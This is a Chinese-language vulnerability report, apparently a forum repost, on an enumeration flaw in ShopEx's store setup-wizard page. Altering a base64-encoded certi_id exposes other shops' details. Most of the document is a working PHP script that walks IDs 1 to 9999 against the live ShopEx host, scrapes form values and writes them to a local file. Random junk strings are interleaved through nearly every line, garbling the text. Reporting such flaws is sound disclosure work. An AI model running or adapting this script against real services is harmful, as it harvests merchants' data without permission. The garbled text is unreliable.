ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
8 i; z. p* B& GShopEx某接口缺陷,可遍历所有网站
. ^; m+ @+ x* j* T& N1 a; [- K详细说明：
问题出现在shopex 网店使用向导页面


0 r$ F4 u' |* }' L' O1 Q, F) R
+ v! a2 c5 k  ~5 Y! M6 bhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
; R1 v/ V' @+ T- s! r

9 q9 s" L0 b2 V( {! K% {
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



/ z' I; M4 m, n! e% x我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

7 q# L! P6 S% Z

<?php

                for ($i=1; $i < 10000; $i++) { //遍历

' j  ?& L+ r; u6 ?+ W- Y+ b( N4 k& \/ Y                        ShowshopExD($i);
6 v0 r2 ~5 }- k" }9 v  X1 ^+ W
                }

! Y+ T# k9 O2 c                function ShowshopExD($cid) {
' z4 t. x, y" V$ q- @
                $url='http://guide.ecos.shopex.cn/step2.php';

) g+ a1 Y' p) b5 H& f/ n+ M                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
2 U7 m/ a: J* m) ~' p0 A8 a
        $url = $url.'?refer='.$refer;
0 T' ]# P+ h$ C' e6 d
        $ch = curl_init($url);
0 q: q! s8 ^5 j$ F0 [
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
9 `1 Q% d' R% N' m- `9 k0 J
; _0 p: e9 G5 {2 B        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
$ k5 W9 o5 n" S( p
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

6 N- M& d4 C3 F, h5 c4 ~' ^; J, D7 p        if(strpos($result,$refer))

        {
( Q* n2 ^! m5 S
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

. `3 m5 K4 b9 O8 X# P( p, m                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
* G0 S9 |1 G6 ?/ z2 M
                foreach ($value[1] as $key) {

0 K6 `4 A- ~# F# }; ~                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
% V( A2 C# Q  Z
( E$ l3 E# ^. z9 b. l! a% O: H                        echo $res[1][0].':'.$res[3][0]."\r\n";
- @, A, t+ D$ i9 t8 Q" o
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
2 ~' Z9 H: b6 m  i
& R( ?2 r. j. i% Y1 O                        fwrite($fp, $col, strlen($col));

7 R+ E; Y  h  i) R$ v9 F3 z' ]                }

5 w% |& r" R+ P8 u% p                echo '--------------------------------'."\r\n";
7 i/ r$ T) o+ U( @  k: K  H
0 ^  E. a/ s7 j4 Z) ^                fclose($fp);

        }
" Q, N- ?, d( ~, C# D; Q) M  I
        flush();

        curl_close($ch);
5 m7 {+ c% v- c) r
                }
5 i3 W( ?6 b  s. N
5 h9 u* P- l7 l?>
漏洞证明：
/ }4 \. a' b/ f- d' x  Mhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
1 X4 l) M- J/ U7 L3 r- Y8 X9 R' N& Jrefer换成其他加密方式
! i/ r& @" S+ D  ?2 R, Y& z